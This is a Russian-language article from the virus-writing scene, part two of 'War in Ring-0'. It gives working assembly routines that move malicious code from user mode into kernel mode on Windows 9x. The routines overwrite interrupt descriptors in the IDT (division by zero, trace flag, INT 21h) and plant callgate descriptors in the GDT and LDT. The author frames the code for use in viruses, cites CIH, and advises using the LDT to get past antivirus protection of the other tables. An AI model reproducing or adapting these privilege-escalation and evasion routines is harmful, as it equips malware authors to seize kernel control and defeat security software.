ВОЙНА В RING-0

Часть 2

In your head, in your head
they are dyin'...

В первой части статьи мы говорили о переходе вирусов в ring-0 лишь в теории, а здесь мы рассмотрим практические примеры.

Дела обстоят так: под Win9X существуют открытые на запись таблицы IDT, GDT & LDT. Непосредственную работу с ними мы далее и проведем. Во всех примерах полагаем, что соответствующая таблица находится в памяти, открытой для записи. Также должно быть ясно, что нижеприведенный код работоспособен под ring3/ring0, а не под V86.

ПЕРЕХОД В RING-0 используя IDT

Итак, IDT (Interrupt Descriptor Table, таблица дескрипторов прерываний) описывает прерывания, существующие в протмоде. То есть, грубо говоря, это селекторы и смещения на каждое прерывание.

Поскольку модель памяти флэтовая, мы просто меняем адрес одного из исключений/прерываний на адрес своей процедуры, вызываем сие исключение/прерывание -- и мы в ring0.

Здесь есть два пути. Можно вызывать исключеня (exception), а можно вызывать прерывания. В чем разница? Прерывание вызывается командой INT, опкод CD ;-). А исключение -- созданной нами тяжелой ситуацией. (А кому щас легко?) Например если попытаться скормить процу опкоды FF FF то он вызовет исключение 06. Делим на 0 -- 00. Трассируем -- 01. Не подгружена страница памяти -- 0E. Глюкавая программа -- 0D. Короче говоря, разница тут между прерываниями и исключениями в том, что если дескриптор описывает исключение (например инт с номерком из вышеперечисленных) то в типе дескриптора у него похеру какой DPL, а если это обычное прерывание, то DPL надо поставить 3 (смотри сюда), иначе вызовется не требуемый инт, а INT 0D (нарушение защиты). Другое дело, если перехватывать сразу 0D.

Пример перехода в ring-0 с использованием IDT, INT 00h. Вызов исключения.


go_to_ring0:    pusha

                call    __pop1          ; SEH
                mov     esp, [esp+8]
                jmp     __exit
__pop1:         push    dword ptr fs:[0]
                mov     fs:[0], esp

                push    edi             ; получить адрес IDT
                sidt    [esp-2]
                pop     edi

                add     edi, 8*00h      ; адрес дескриптора INT 00h

                fild    qword ptr [edi] ; сохранить дескриптор

                call    __pop2          ; получить адрес нового
                                        ; обработчика исключения

                call    ring0_proc      ; вызвать в ring0

                dec     eax             ; для нормаьного повтора DIV-а
                iret                    ; возврат из прерывания в ring-3

__pop2:         pop     word ptr [edi]  ; установить новый оффсет
                pop     word ptr [edi+6]; обработчика прерывания

                xor     eax, eax
                xor     edx, edx
                div     eax             ; вызвать INT 00h

                fistp   qword ptr [edi] ; восстановить дескриптор

__exit:         pop     dword ptr fs:[0]; SEH
                pop     eax

                popa
                ret

Пример перехода в ring-0 с использованием IDT, INT 01h. Вызов исключения.


go_to_ring0:    pusha

                call    __pop1          ; SEH
                mov     esp, [esp+8]
                jmp     __exit
__pop1:         push    dword ptr fs:[0]
                mov     fs:[0], esp

                push    edi             ; получить адрес IDT
                sidt    [esp-2]
                pop     edi

                add     edi, 8*01h      ; адрес дескриптора INT 01h

                fild    qword ptr [edi] ; сохранить дескриптор

                call    __pop2          ; получить адрес нового
                                        ; обработчика исключения

                call    ring0_proc      ; вызвать в ring0

                and     byte ptr [esp+9], not 1   ; убрать TF
                iret                    ; возврат из прерывания в ring-3

__pop2:         pop     word ptr [edi]
                pop     word ptr [edi+6]

                pushw   7302h           ; установить TF (trace flag)
                popfw

                nop                     ; вызвать INT 01h

                fistp   qword ptr [edi] ; восстановить дескриптор

__exit:         pop     dword ptr fs:[0]; SEH
                pop     eax

                popa
                ret

Пример перехода в ring-0 с использованием IDT, INT xxh. Вызов прерывания.

go_to_ring0:    pusha

                call    __pop1          ; SEH
                mov     esp, [esp+8]
                jmp     __exit
__pop1:         push    dword ptr fs:[0]
                mov     fs:[0], esp

                push    edi             ; получить адрес IDT
                sidt    [esp-2]
                pop     edi

                add     edi, 21h*8      ; адрес дескриптора INT xxh

                fild    qword ptr [edi] ; сохранить дескриптор

                call    __pop2          ; получить адрес нового
                                        ; обработчика прерывания

                call    ring0_proc      ; вызвать в ring0
                iret                    ; возврат из прерывания в ring-3

__pop2:         pop     ax              ; создать дескриптор прерывания
                stosw
                mov     eax, 0EE000028h ; sel=28h, type=IntG32/DPL=3
                stosd                   ;                      ~~~~~
                pop     ax
                stosw

                int     21h             ; вызвать прерывание

                fistp   qword ptr [edi-8] ; восстановить дескриптор

__exit:         pop     dword ptr fs:[0]; SEH
                pop     eax

                popa
                ret

ПЕРЕХОД В RING-0 используя LDT (GDT)

Таблицы GDT и LDT (Global- и Local Descriptor Table, таблицы глобальных/локальных дескрипторов) суть описывают селекторы, что в протмоде являются заменой старых добрых сегментов. Иногда, правда, кроме селекторов они описывают и более сложные объекты защищенного режима, что нам и потребуется.

Таблица GDT - одна на всех (на то она и Global), а таблиц LDT может не быть не одной, может быть по одной на каждую задачу, а может быть несколько на несколько задач. То есть полное безобразие.

Инфу о таблице GDT можно поиметь при помощи команды SGDT m

                sgdt    xxx
                ...
xxx             label   pword
gdt_limit       dw      ?
gdt_base        dd      ?

Как видим можно поиметь gdt_limit -- размер таблицы уменьшенный на 1, и gdt_base -- базовый адрес таблицы.

Инфу о таблице LDT поиметь более сложно, ибо команда LGDT r/m16 возвращает селектор LDT, а дескриптор этого селектора находится в GDT.

                sldt    ax

Теперь чтобы из этого селектора (который в AX) поиметь базу/размер LDT, надо сделать так:

                sgdt    xxx
                mov     ebx, gdt_base   ; EBX = база GDT
                sldt    ax              ; AX = селектор LDT
                and     eax, not 111b   ; EAX = (# селектора в GDT) * 8
                add     ebx, eax        ; EBX = адрес деккриптора LDT
                mov     edi, [ebx+2-2]  ; EDI = адрес LDT (из дескриптора)
                mov     ah, [ebx+7]     ;
                mov     al, [ebx+4]     ;
                shrd    edi, eax, 16    ;
                movzx   ecx, word ptr [ebx] ; ECX=размер LDT-1
                inc     ecx             ; ECX=размер LDT
                shr     ecx, 3          ; ECX=число дескрипторов в LDT
                ...
xxx             label   pword
gdt_limit       dw      ?
gdt_base        dd      ?

В чем же отличие GDT от LDT -- для нас? Если взглянуть на вышеприведенный код, то становится понятно, что работать с GDT несомненно проще, чем с LDT, и это так. Но дело тут вот в чем. Существующие антивирусы в состоянии активно противодействовать нашему переходу в ring-0. То есть они уже могут защищать от записи (записи из ring3) страницы памяти в которых находятся GDT и IDT. В частности SPIDER.VXD уже умеет защищать от записи GDT и IDT, и все вирусы читающие/пишушие в эти таблицы (то есть CIH и прочие, с похожим на него переходом в 0 через IDT) -- все они сосут.

А вот с LDT сложнее -- запись в нее использует сам находящийся в ring3 16-битный кернел от маздая, KRNL386.EXE. В этом то и заключается вся хуйня... ;-)

Итак, как же мы собираемся переходить в 0 через LDT/GDT. Как уже было сказано выше, в этих таблицах хранятся не только дескрипторы сегментов. Там еще бывают такие вещи как сегменты состояния задачи, шлюзы перехода (callgate) и еще хрен знает чего. Собственно на последних -- шлюзах -- мы и остановимся.

Шлюз перехода -- это такая хрень, которая позволяет перейти из одного кольца защиты в другое. Конкретно -- из ring3 в ring0. Что собой представляет шлюз перехода? А представляет он собой всего-навсего дескриптор в таблице GDT или LDT, а адреса их мы получать уже умеем. От обычного же дескриптора селектора дескриптор шлюза отличается некоторыми битами.

Вызов шлюза осуществляется путем команды FAR CALL, где в качестве селектора указывается селектор шлюза, оффсет же похую какой. Куда пойдет управление после такого CALL-а? А туда, куда указывает оффсет в дескрипторе шлюза. Вот только кольцо защиты будет уже другое.

Итак, вот переход в ring-0 через GDT:


go_to_ring0:    pusha

                call    __pop1          ; SEH

                mov     esp, [esp+8]
                jmp     __exit

__pop1:         push    dword ptr fs:[0]
                mov     fs:[0], esp

                call    __pop2          ; получить адрес callgate-а

                call    ring0_proc      ; вызывается в ring-0
                retf                    ; здесь RETF -- обратно в ring3

__pop2:         pop     esi             ; ESI=адрес callgate-а

                push    edi             ; получить адрес 1-го дескриптора
                sgdt    [esp-2]         ; GDT (нулевой не используется)
                pop     edi
                add     edi, 8

                fild    qword ptr [edi] ; сохранить дескриптор

                mov     eax, esi        ; создать дескриптор callgate-а
                cld
                stosw
                mov     eax, 1110110000000000b shl 16 + 28h
                stosd
                shld    eax, esi, 16
                stosw

                db      9Ah             ; вызов callgate-а
                dd      0
                dw      1*8+11b         ; sel.#8, GDT, ring-3

                fistp   qword ptr [edi-8] ; восстановить дескриптор

__exit:         pop     dword ptr fs:[0] ; SEH
                pop     eax

                popa
                ret

А вот переход в ring-0 через LDT:

go_to_ring0:    pusha

                call    __pop1          ; SEH

                mov     esp, [esp+8]
                jmp     __exit

__pop1:         push    dword ptr fs:[0]
                mov     fs:[0], esp

                call    __pop2          ; получить адрес callgate-а

                call    ring0_proc      ; вызывается в ring-0
                retf                    ; здесь RETF -- обратно в ring3

__pop2:         pop     esi             ; ESI=адрес callgate-а

                push    ebx             ; получить адрес GDT
                sgdt    [esp-2]
                pop     ebx

                sldt    ax              ; получить селектор LDT
                and     eax, not 111b
                jz      __exit

                add     ebx, eax        ; адрес дескритора LDT в GDT

                mov     edi, [ebx+2-2]  ; получить адрес LDT
                mov     ah, [ebx+7]
                mov     al, [ebx+4]
                shrd    edi, eax, 16

                fild    qword ptr [edi] ; сохранить дескриптор

                mov     eax, esi        ; создать дескриптор callgate-а
                cld
                stosw
                mov     eax, 1110110000000000b shl 16 + 28h
                stosd
                shld    eax, esi, 16
                stosw

                db      9Ah             ; вызов callgate-а
                dd      0
                dw      100b+11b        ; sel.#0, LDT, ring-3

                fistp   qword ptr [edi-8] ; восстановить дескриптор

__exit:         pop     dword ptr fs:[0] ; SEH
                pop     eax

                popa
                ret

Как видно, в приведенных примерах используется SEH (Self Exception Handling). Вкратце -- это дело обеспечивает переход на метку __exit при возникновении некоторых глюков.